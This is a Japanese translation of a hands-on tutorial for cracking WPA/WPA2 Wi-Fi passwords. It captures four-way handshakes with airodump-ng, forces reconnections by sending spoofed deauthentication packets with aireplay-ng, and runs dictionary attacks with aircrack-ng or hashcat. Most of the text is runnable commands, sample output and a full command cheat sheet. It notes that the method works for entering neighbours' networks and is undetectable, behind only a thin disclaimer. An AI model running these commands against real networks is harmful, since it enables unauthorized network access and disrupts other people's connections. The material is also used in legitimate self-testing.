
WPA/WPA2 Wi-FiルーターをAirodump-ngとAircrack-ng/Hashcatでクラックする
Airodump-ng と Aircrack-ng/Hashcat を使って WPA/WPA2 Wi-Fi ルーターをクラックします。
これは、脆弱なパスワードで保護された Wi-Fi ネットワークをクラックする方法を説明する簡単なチュートリアルです。網羅的ではありませんが、自分のネットワークのセキュリティをテストしたり、近くのネットワークに侵入したりするのに十分な情報を提供します。以下で説明する攻撃は完全に受動的(コンピュータから何もブロードキャストせず、傍受のみ)であり、クラックしたパスワードを実際に使用しない限り、検出することは不可能です。オプションの能動的な非認証攻撃を使用して偵察プロセスを高速化することもできます。これについては、このドキュメントの最後で説明します。
このプロセスに精通している場合は、説明を飛ばして、下部にあるコマンド一覧に進んでください。様々な提案や代替方法については、付録を参照してください。neal1991 と tiiime が、このドキュメントと付録の中国語翻訳も親切に提供してくれています。
免責事項: このソフトウェア/チュートリアルは教育目的のみです。違法行為に使用すべきではありません。作者はその使用について一切責任を負いません。クソ野郎にならないでください。
このチュートリアルは、以下のことを前提としています。
sudo apt-get install aircrack-ngまず、モニターモードをサポートするワイヤレスインターフェースをリストアップします。
airmon-ng
インターフェースが表示されない場合、ワイヤレスカードはモニターモードをサポートしていません 😞
ここではワイヤレスインターフェース名を wlan0 と仮定しますが、異なる場合は正しい名前を使用してください。次に、インターフェースをモニターモードにします。
airmon-ng start wlan0
iwconfig を実行します。新しいモニターモードのインターフェースがリスト表示されるはずです(おそらく mon0 または wlan0mon)。
モニターインターフェースを使用して、近くのワイヤレスルーターがブロードキャストする 802.11 Beacon フレームのリッスンを開始します。
airodump-ng mon0
以下のような出力が表示されるはずです。
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
このデモでは、自分のネットワーク "hackme" のパスワードをクラックすることにします。airodump-ng で表示された BSSID MAC アドレスとチャンネル番号(CH)を覚えておいてください。次のステップで両方必要になります。
WPA/WPA2 は、4ウェイハンドシェイクを使用してデバイスをネットワークに認証します。これの意味を知っている必要はありませんが、ネットワークパスワードをクラックするには、このハンドシェイクのいずれかをキャプチャする必要があります。これらのハンドシェイクは、隣人が仕事から帰宅したときなど、デバイスがネットワークに接続するたびに発生します。前のコマンドで見つけたチャンネルと bssid 値を使用して、airmon-ng にターゲットネットワーク上のトラフィックを監視させることで、このハンドシェイクをキャプチャします。
# -c と --bssid の値はターゲットネットワークの値に置き換えてください
# -w はパケットキャプチャを保存するディレクトリを指定します
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
さあ、待ちましょう... ハンドシェイクをキャプチャすると、画面の右上、現在時刻のすぐ右に [ WPA handshake: bc:d3:c9:ef:d2:67 のようなものが表示されるはずです。
もし気が短くて、アクティブ攻撃を使用しても構わないのであれば、接続されているデバイスに悪意のある非認証パケットを送信して、ターゲットネットワークに接続されているデバイスを強制的に再接続させることができます。これにより、多くの場合、4ウェイハンドシェイクがキャプチャされます。詳細については、以下の非認証攻撃のセクションを参照してください。
ハンドシェイクをキャプチャしたら、ctrl-c を押して airodump-ng を終了します。airodump-ng にキャプチャを保存するよう指定した場所に .cap ファイルがあるはずです(おそらく -01.cap という名前です)。このキャプチャファイルを使用してネットワークパスワードをクラックします。私は、クラックしようとしているネットワーク名を反映するようにこのファイルの名前を変更するのが好きです。
mv ./-01.cap hackme.cap
最後のステップは、キャプチャしたハンドシェイクを使用してパスワードをクラックすることです。GPU が利用できる場合は、パスワードクラックに hashcat を使用することを強くお勧めします。私は naive-hashcat という、hashcat を非常に簡単に使用できるツールを作成しました。GPU が利用できない場合は、GPUHASH.me や OnlineHashCrack などのオンライン GPU クラックサービスを利用できます。また、Aircrack-ng を使用して CPU でのクラックに挑戦することもできます。
以下の両方の攻撃方法は、比較的弱いユーザー生成パスワードを前提としていることに注意してください。ほとんどの WPA/WPA2 ルーターには、多くのユーザーが(当然ながら)そのままにしている強力な12文字のランダムパスワードが付属しています。これらのパスワードのいずれかをクラックしようとする場合は、Probable-Wordlists WPA-length 辞書ファイルを使用することをお勧めします。
naive-hashcat を使用したクラック(推奨)naive-hashcat を使用してパスワードをクラックする前に、.cap ファイルを同等の hashcat ファイル形式 .hccapx に変換する必要があります。これは、.cap ファイルを https://hashcat.net/cap2hccapx/ にアップロードするか、cap2hccapx ツールを直接使用することで簡単に実行できます。
cap2hccapx.bin hackme.cap hackme.hccapx
次に、naive-hashcat をダウンロードして実行します。
# ダウンロード
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# 134MB の rockyou 辞書ファイルをダウンロード
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# クラック!baby!クラック!
# 2500 は WPA/WPA2 の hashcat ハッシュモードです
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat は、さまざまな辞書攻撃、ルール攻撃、組み合わせ攻撃、マスク攻撃(スマートブルートフォース)を使用し、中程度の強度のパスワードに対しては、実行に数日または数か月かかることもあります。クラックされたパスワードは hackme.pot に保存されるので、このファイルを定期的に確認してください。パスワードがクラックされると、POT_FILE の内容は次のようになります。
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
ここで、: で区切られた最後の2つのフィールドは、それぞれネットワーク名とパスワードです。
naive-hashcat を使わずに hashcat を使用したい場合は、このページを参照してください。
Aircrack-ng は、CPU 上で実行する非常に基本的な辞書攻撃に使用できます。攻撃を実行する前に、ワードリストが必要です。有名な rockyou 辞書ファイルを使用することをお勧めします。
# 134MB の rockyou 辞書ファイルをダウンロード
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
ネットワークパスワードがワードファイルに含まれていない場合、パスワードはクラックされないことに注意してください。
# -a2 は WPA2 を指定、-b は BSSID、-w はワードファイル
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
パスワードがクラックされると、端末に KEY FOUND! メッセージが表示され、その後にネットワークパスワードのプレーンテキストが続きます。
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
非認証攻撃は、クラックしようとしているネットワークに接続されているクライアントに対して、偽装された非認証パケットをマシンから送信します。これらのパケットには偽の「送信元」アドレスが含まれており、アクセスポイントから送信されたようにクライアントに見せかけます。そのようなパケットを受信すると、ほとんどのクライアントはネットワークから切断し、すぐに再接続するため、airodump-ng でリッスンしていれば、4ウェイハンドシェイクが提供されます。
airodump-ng を使用して特定のアクセスポイントを監視し(-c channel --bssid MAC を使用)、クライアント(STATION)が接続されるまで待ちます。接続されたクライアントは次のように表示されます。ここでは 64:BC:0C:48:97:F7 がクライアント MAC です。
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
次に、airodump-ng を実行したまま、新しい端末を開きます。aireplay-ng コマンドを使用して、偽の非認証パケットを被害者クライアントに送信し、ネットワークへの再接続を強制し、その過程でハンドシェイクを取得できるようにします。
# -0 2 は2つの非認証パケットを送信することを指定します。必要に応じてこの数値を増やしますが、
# クライアントのネットワークアクティビティが著しく中断されるリスクがあります
# -a はアクセスポイントの MAC
# -c はクライアントの MAC
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
オプションで、接続されているすべてのクライアントに非認証パケットをブロードキャストすることもできます。
# ただし、すべてのクライアントがブロードキャスト非認証を尊重するわけではありません
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
非認証パケットを送信したら、airodump-ng プロセスに戻ります。うまくいけば、右上に [ WPA handshake: 9C:5C:8E:C9:AB:C0 のようなものが表示されるはずです。ハンドシェイクをキャプチャしたので、ネットワークパスワードのクラックの準備が整いました。
以下は、WPA/WPA2 ネットワークをクラックするために必要なすべてのコマンドを、順に、最小限の説明とともに示したものです。
# ネットワークデバイスをモニターモードにする
airmon-ng start wlan0
# 近くのすべてのビーコンフレームをリッスンし、ターゲットの BSSID とチャンネルを取得する
airodump-ng mon0
# ハンドシェイクのリッスンを開始する
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# オプションで接続されているクライアントを非認証にしてハンドシェイクを強制する
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## aircrack-ng でパスワードをクラック... ##########
# 必要に応じて134MBの rockyou.txt 辞書ファイルをダウンロード
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# aircrack-ng でクラック
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## または naive-hashcat でパスワードをクラック ##########
# cap を hccapx に変換
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# naive-hashcat でクラック
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
このチュートリアルへの反響は非常に大きかったため、コミュニティメンバーからの提案や追加資料を付録として追加しました。以下の方法を学ぶためにチェックしてみてください。
wlandump-ng を使用して、周囲のすべてのネットワークからハンドシェイクをキャプチャするcrunch を使用して、その場で100GB以上のワードリストを生成するmacchanger を使用して MAC アドレスを偽装する付録の中国語版も利用可能です。
ここで紹介されている情報の多くは、Lewis Encarnacion の素晴らしいチュートリアルから得られました。また、Aircrack-ng と Hashcat に貢献している素晴らしい作者とメンテナーの皆様にも感謝します。
このチュートリアルを中国語に翻訳してくれた neal1991 と tiiime に心から感謝します。さらに、yizhiheng、hiteshnayak305、enilfodne、DrinkMoreCodeMore、hivie7510、cprogrammer1994、0XE4、hartzell、zeeshanu、flennic、bhusang、tversteeg、gpetrousov、crowchirp、Shark0der の各氏にも感謝します。彼らは Reddit と GitHub で提案やタイポ修正を提供してくれました。WPA2 に代わる方法についての提案に興味がある場合は、この Hacker News の投稿にある素晴らしい議論をチェックしてみてください。